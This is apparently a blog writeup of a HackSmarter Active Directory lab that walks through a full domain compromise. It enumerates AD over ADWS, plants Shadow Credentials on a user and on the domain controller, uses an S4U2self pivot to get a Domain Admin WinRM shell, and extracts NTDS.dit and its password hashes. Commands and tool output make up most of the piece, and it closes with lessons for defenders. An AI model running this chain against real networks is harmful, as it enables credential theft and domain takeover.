November 6, 2026
Hack Smarter: Millennium Writeup
Platform: HackSmarter | Difficulty: Medium | Category: Active Directory | Objectives: KRBTGT hash

By Razzle Mouse ๐ญ
7 min read
A HackSmarter Active Directory assumed-breach lab writeup
TL;DR
Millennium Corp thought locking down SMB and LDAP after their last pentest would be enough. It wasn't. This writeup covers a full domain compromise achieved almost entirely through Active Directory Web Services (ADWS) โ a protocol most blue teams forget exists โ chained with Shadow Credentials, Resource-Based Constrained Delegation, and a creative S4U2self pivot to land an interactive WinRM shell and pull NTDS.dit straight off the DC.
The Scenario
Millennium Corp recently underwent a penetration test that revealed significant exposure through SMB and LDAP based attack paths. In response, the organization rapidly implemented host-based firewall restrictions and hardened traditional network services across the environment. Believing these mitigations to be sufficient, Millennium Corp has commissioned a follow-up internal black box penetration assessment under an assumed breach scenario.
Initial access:
Username: tester
Password: Pencil TestersUsername: tester
Password: Pencil TestersDropped straight onto the internal network with nothing but a low-priv domain account. No SMB. No LDAP. Let's see what's left.
Recon: What's Actually Open
rustscan -b 500 -a 10.1.40.18 -- -sC -sV -Pn
PORT STATE SERVICE
53/tcp open domain
88/tcp open kerberos-sec
135/tcp open msrpc
139/tcp open netbios-ssn
464/tcp open kpasswd5
593/tcp open ncacn_http
3268/tcp open ldap (GC - also blocked in practice)
3269/tcp open ssl/ldap
3389/tcp open ms-wbt-server
5985/tcp open winrm
9389/tcp open mc-nmf โ ADWS. This is the way in.
49664+ open msrpcrustscan -b 500 -a 10.1.40.18 -- -sC -sV -Pn
PORT STATE SERVICE
53/tcp open domain
88/tcp open kerberos-sec
135/tcp open msrpc
139/tcp open netbios-ssn
464/tcp open kpasswd5
593/tcp open ncacn_http
3268/tcp open ldap (GC - also blocked in practice)
3269/tcp open ssl/ldap
3389/tcp open ms-wbt-server
5985/tcp open winrm
9389/tcp open mc-nmf โ ADWS. This is the way in.
49664+ open msrpc445 (SMB) โ filtered. 389 (LDAP) โ filtered. The classic lockdown. But 9389 (ADWS) is wide open, and almost nobody hardens it because almost nobody enumerates over it.
A quick NetBIOS/DNS fingerprinting attempt failed, but netexec's RDP module coughed up the domain for free:
nxc rdp 10.1.40.18
RDP 10.1.40.18 3389 DC01 [*] ...(domain:MILLENNIUM.CORP)nxc rdp 10.1.40.18
RDP 10.1.40.18 3389 DC01 [*] ...(domain:MILLENNIUM.CORP)Domain: MILLENNIUM.CORP. DC: DC01.
Enter SOAPy: Enumerating AD Without Touching LDAP
SOAPy is a SpecterOps/IBM X-Force Red research project that reimplements the .NET protocols (NNS, NMF, NBFSE) needed to talk to ADWS directly โ no LDAP bind required. Install:
pipx install git+https://github.com/logangoins/SOAPypipx install git+https://github.com/logangoins/SOAPyBasic recon, pulling every user, computer, and group:
SOAPy 'MILLENNIUM.CORP/tester:Pencil Testers@10.1.40.18' --users --computers --groups
SOAPy --show > dump.logSOAPy 'MILLENNIUM.CORP/tester:Pencil Testers@10.1.40.18' --users --computers --groups
SOAPy --show > dump.log
55 objects collected โ 6 users, 1 computer, 48 groups โ entirely over 9389, while LDAP timed out dead in the background. One account immediately stood out:
name: ATHENA
department: ITOps
description: Tier0 Account for domain administration
memberOf: CN=Domain Admins,CN=Users,DC=MILLENNIUM,DC=CORPname: ATHENA
department: ITOps
description: Tier0 Account for domain administration
memberOf: CN=Domain Admins,CN=Users,DC=MILLENNIUM,DC=CORPTarget acquired. Now I just needed a path to her.
BloodHound, Minus LDAP
Standard SharpHound/Certipy both die here โ they expect to bind LDAP. Feed SOAPy's dump into BOFHound instead, which happily eats ADWS-sourced data:
bofhound -i dump.log --zipbofhound -i dump.log --zip
Spun up BloodHound CE locally with Docker and uploaded the zip. Marked tester as Owned and ran Shortest Paths.
First edge:
TESTER --MemberOf--> Domain Users --GenericAll--> SULLYTESTER --MemberOf--> Domain Users --GenericAll--> SULLYSomeone granted GenericAll to the entire Domain Users group over Sully's account. Every authenticated user in the domain โ including tester โ could fully take over Sully.
Second edge, found by expanding Sully:
SULLY --GenericWrite--> DC01 (the domain controller itself)SULLY --GenericWrite--> DC01 (the domain controller itself)Two misconfigurations stacked directly on top of each other. tester โ Sully โ DC01. That's the whole chain.
Step 1: Shadow Credentials on Sully
With SMB and LDAP blocked, a normal password reset (net rpc password, samr) wasn't viable. SOAPy ships Shadow Credentials support natively over ADWS โ writing a certificate into msDS-KeyCredentialLink and authenticating via PKINIT instead of touching a password at all.
SOAPy 'MILLENNIUM.CORP/tester:Pencil Testers@10.1.40.18' --shadow-creds add --shadow-target Sully
[+] KeyCredential generated with DeviceID: 36983362-...
[+] Successfully updated msDS-KeyCredentialLink
[+] Saved PFX certificate: zqMxo1Dv.pfx
[+] PFX password: BKKNLeF89ZPem7fDunoYSOAPy 'MILLENNIUM.CORP/tester:Pencil Testers@10.1.40.18' --shadow-creds add --shadow-target Sully
[+] KeyCredential generated with DeviceID: 36983362-...
[+] Successfully updated msDS-KeyCredentialLink
[+] Saved PFX certificate: zqMxo1Dv.pfx
[+] PFX password: BKKNLeF89ZPem7fDunoYAuthenticate with the planted cert via Certipy's PKINIT support (Kerberos โ port 88 โ was wide open):
certipy auth -pfx zqMxo1Dv.pfx -password BKKNLeF89ZPem7fDunoY \
-dc-ip 10.1.40.18 -domain MILLENNIUM.CORP -username Sully
[*] Got TGT
[*] Got hash for 'sully@millennium.corp':
aad3b435b51404eeaad3b435b51404ee:7824282ac1df535de6726dac2b68556e
export KRB5CCNAME=sully.ccachecertipy auth -pfx zqMxo1Dv.pfx -password BKKNLeF89ZPem7fDunoY \
-dc-ip 10.1.40.18 -domain MILLENNIUM.CORP -username Sully
[*] Got TGT
[*] Got hash for 'sully@millennium.corp':
aad3b435b51404eeaad3b435b51404ee:7824282ac1df535de6726dac2b68556e
export KRB5CCNAME=sully.ccache
Full control of Sully, zero LDAP or SMB touched.
Step 2: GenericWrite on DC01 โ Shadow Credentials on the DC Itself
Sully's GenericWrite over DC01 means I can write to msDS-KeyCredentialLink on the domain controller's own computer object. Same trick, new target:
SOAPy 'MILLENNIUM.CORP/sully@DC01.MILLENNIUM.CORP' -k --shadow-creds add --shadow-target 'DC01$'
[+] Successfully updated msDS-KeyCredentialLink
[+] Saved PFX certificate: JKmCJq3F.pfxSOAPy 'MILLENNIUM.CORP/sully@DC01.MILLENNIUM.CORP' -k --shadow-creds add --shadow-target 'DC01$'
[+] Successfully updated msDS-KeyCredentialLink
[+] Saved PFX certificate: JKmCJq3F.pfx
certipy auth -pfx JKmCJq3F.pfx -password 'klJVQ89h7ue1S03qW0Wh' \
-dc-ip 10.1.40.18 -domain MILLENNIUM.CORP -username 'DC01$'
[*] Got hash for 'dc01$@millennium.corp':
aad3b435xxxxxxxx:b111a126bcfxxxxxxxxx
certipy auth -pfx JKmCJq3F.pfx -password 'klJVQ89h7ue1S03qW0Wh' \
-dc-ip 10.1.40.18 -domain MILLENNIUM.CORP -username 'DC01$'
[*] Got hash for 'dc01$@millennium.corp':
aad3b435xxxxxxxx:b111a126bcfxxxxxxxxxNow I hold the keys to the DC's own computer account.
Step 3: The S4U2self Pivot โ Becoming ATHENA Without Delegation Rights
This is the part I'm proudest of. My first instinct was the textbook RBCD play โ spin up a fake computer account, grant it delegation rights to DC01, then S4U2Proxy for a service ticket. That worked mechanically, but every service ticket I minted for Administrator (CIFS, HOST, TERMSRV) hit a wall: 445 was genuinely filtered, not just LDAP-aware firewalling, so DRSUAPI-over-SMB (secretsdump.py) and WMI-over-DCOM (wmiexec.py) both died on connection timeouts regardless of how valid the Kerberos ticket was.
Instead of fighting the firewall, I used DC01's own machine account โ which I now fully control via its shadow credential โ to do an S4U2self against itself, impersonating ATHENA directly, and requested an HTTP SPN (which backs WinRM, and WinRM's port, 5985, was open the entire time):
export KRB5CCNAME=dc01.ccache
getST.py -spn HTTP/DC01.MILLENNIUM.CORP -impersonate athena \
-dc-ip 10.1.40.18 -k -no-pass 'MILLENNIUM.CORP/DC01$' \
-self -altservice HTTP/DC01.MILLENNIUM.CORP
[*] Impersonating athena
[*] Requesting S4U2self
[*] Changing service from DC01$@MILLENNIUM.CORP to HTTP/DC01.MILLENNIUM.CORP@MILLENNIUM.CORP
[*] Saving ticket in athena@HTTP_DC01.MILLENNIUM.CORP@MILLENNIUM.CORP.ccacheexport KRB5CCNAME=dc01.ccache
getST.py -spn HTTP/DC01.MILLENNIUM.CORP -impersonate athena \
-dc-ip 10.1.40.18 -k -no-pass 'MILLENNIUM.CORP/DC01$' \
-self -altservice HTTP/DC01.MILLENNIUM.CORP
[*] Impersonating athena
[*] Requesting S4U2self
[*] Changing service from DC01$@MILLENNIUM.CORP to HTTP/DC01.MILLENNIUM.CORP@MILLENNIUM.CORP
[*] Saving ticket in athena@HTTP_DC01.MILLENNIUM.CORP@MILLENNIUM.CORP.ccacheSince DC01 can always delegate to itself (no RBCD configuration needed for that), this S4U2self chain handed me a legitimate HTTP service ticket as ATHENA โ a Tier0 Domain Admin โ without ever needing to touch the RBCD attribute at all.
export KRB5CCNAME=athena@HTTP_DC01.MILLENNIUM.CORP@MILLENNIUM.CORP.ccache
evil-winrm -i DC01.MILLENNIUM.CORP -r MILLENNIUM.CORP
Evil-WinRM shell v3.9
*Evil-WinRM* PS C:\Users\ATHENA\Documents>export KRB5CCNAME=athena@HTTP_DC01.MILLENNIUM.CORP@MILLENNIUM.CORP.ccache
evil-winrm -i DC01.MILLENNIUM.CORP -r MILLENNIUM.CORP
Evil-WinRM shell v3.9
*Evil-WinRM* PS C:\Users\ATHENA\Documents>Interactive shell as a Domain Admin on the domain controller.
Step 4: Proving Full Domain Compromise
Rather than DCSync (which would've fought the same SMB filtering), I generated an IFM (Install From Media) snapshot directly on the DC via ntdsutil โ this avoids any network protocol restriction entirely since it runs locally in the WinRM session:
ntdsutil "activate instance ntds" "ifm" "create full C:\Users\ATHENA\Documents\NTDS" quit quit
Creating snapshot...
Snapshot set generated successfully.
Initiating DEFRAGMENTATION mode...
IFM media created successfully in C:\Users\ATHENA\Documents\NTDSntdsutil "activate instance ntds" "ifm" "create full C:\Users\ATHENA\Documents\NTDS" quit quit
Creating snapshot...
Snapshot set generated successfully.
Initiating DEFRAGMENTATION mode...
IFM media created successfully in C:\Users\ATHENA\Documents\NTDSPulled both files down through Evil-WinRM's native transfer:
powershell
download 'C:\Users\ATHENA\Documents\NTDS\Active Directory\ntds.dit'
download 'C:\Users\ATHENA\Documents\NTDS\registry\SYSTEM' systemdownload 'C:\Users\ATHENA\Documents\NTDS\Active Directory\ntds.dit'
download 'C:\Users\ATHENA\Documents\NTDS\registry\SYSTEM' system
And cracked it open locally:
secretsdump.py -ntds ntds.dit -system system LOCAL
Administrator:500:aad3b435b51404eeaad3b435b51404ee:4366ec0f86e29be2a4a5e87a1ba922ec:::
krbtgt:502:aad3b435b51404eexxxxxxxx:5c72593d9xxxxxxxxc:::
MILLENNIUM.CORP\ATHENA:1106:aad3b435b51404eeaad3b435b51404ee:ab3771ce4ec53c16e4feae2b331cb9fe:::
MILLENNIUM.CORP\Sully:1107:aad3b435b51404eeaad3b435b51404ee:7824282ac1df535de6726dac2b68556e:::
...secretsdump.py -ntds ntds.dit -system system LOCAL
Administrator:500:aad3b435b51404eeaad3b435b51404ee:4366ec0f86e29be2a4a5e87a1ba922ec:::
krbtgt:502:aad3b435b51404eexxxxxxxx:5c72593d9xxxxxxxxc:::
MILLENNIUM.CORP\ATHENA:1106:aad3b435b51404eeaad3b435b51404ee:ab3771ce4ec53c16e4feae2b331cb9fe:::
MILLENNIUM.CORP\Sully:1107:aad3b435b51404eeaad3b435b51404ee:7824282ac1df535de6726dac2b68556e:::
...KRBTGT hash in hand. Full domain compromise, forged golden-ticket capability, and complete NTDS extraction โ all without SMB or LDAP ever being used for the actual privilege escalation.
The Full Chain, Start to Finish
tester (initial creds, zero group memberships)
โ
โ [SOAPy over ADWS: 9389]
โผ
Domain Users --GenericAll--> SULLY
โ
โ [Shadow Credentials + PKINIT via Certipy]
โผ
SULLY --GenericWrite--> DC01$
โ
โ [Shadow Credentials on DC01$ + PKINIT]
โผ
Control of DC01$ machine account
โ
โ [S4U2self, DC01$ impersonating itself as ATHENA]
โผ
HTTP/DC01 ticket as ATHENA (Domain Admin)
โ
โ [Evil-WinRM over 5985]
โผ
Interactive shell as Domain Admin
โ
โ [ntdsutil IFM, local โ no network protocol dependency]
โผ
Full NTDS.dit + KRBTGT hash = Full Domain Compromisetester (initial creds, zero group memberships)
โ
โ [SOAPy over ADWS: 9389]
โผ
Domain Users --GenericAll--> SULLY
โ
โ [Shadow Credentials + PKINIT via Certipy]
โผ
SULLY --GenericWrite--> DC01$
โ
โ [Shadow Credentials on DC01$ + PKINIT]
โผ
Control of DC01$ machine account
โ
โ [S4U2self, DC01$ impersonating itself as ATHENA]
โผ
HTTP/DC01 ticket as ATHENA (Domain Admin)
โ
โ [Evil-WinRM over 5985]
โผ
Interactive shell as Domain Admin
โ
โ [ntdsutil IFM, local โ no network protocol dependency]
โผ
Full NTDS.dit + KRBTGT hash = Full Domain CompromiseWhy This Matters
Millennium Corp's defenders did exactly what most teams do after an assessment: they hardened the things that got them popped last time. SMB, locked. LDAP, locked. Box ticked.
But ACL misconfigurations don't care what transport protocol enumerates them โ GenericAll and GenericWrite are rights on the AD database itself, and ADWS is a first-class, fully authorized way to read and write that database that almost never shows up in anyone's "things we hardened" checklist. Blocking SMB/LDAP without an equal focus on port 9389 just shifts where the attacker enumerates from โ it doesn't remove the underlying ACL rot that made the attack possible in the first place.
Lessons for defenders:
- Monitor ADWS traffic (9389) the same way you'd monitor LDAP โ tools like SOAPy are explicitly designed to evade MDI/identity-focused detections that only watch traditional channels.
- Audit
GenericAll/GenericWrite/WriteOwnerACLs on privileged accounts and computer objects โ especially anything granted to broad principals likeDomain UsersorAuthenticated Users. msDS-KeyCredentialLinkwrites (Shadow Credentials) should be alerted on for any Tier0 or computer account.- Port-level firewalling is not a substitute for fixing the actual delegation and ACL hygiene that let this chain exist in the first place.
Lab: HackSmarter โ "Millennium Corp" assumed breach scenario. Tools: SOAPy, BOFHound, BloodHound CE, Certipy, Impacket.
#ADWS #ShadowCredentials #PKINIT #Kerberos #S4U2Self #RBCD #BloodHound #KRBTGT #DomainAdmin #ADCS #Razzlemouse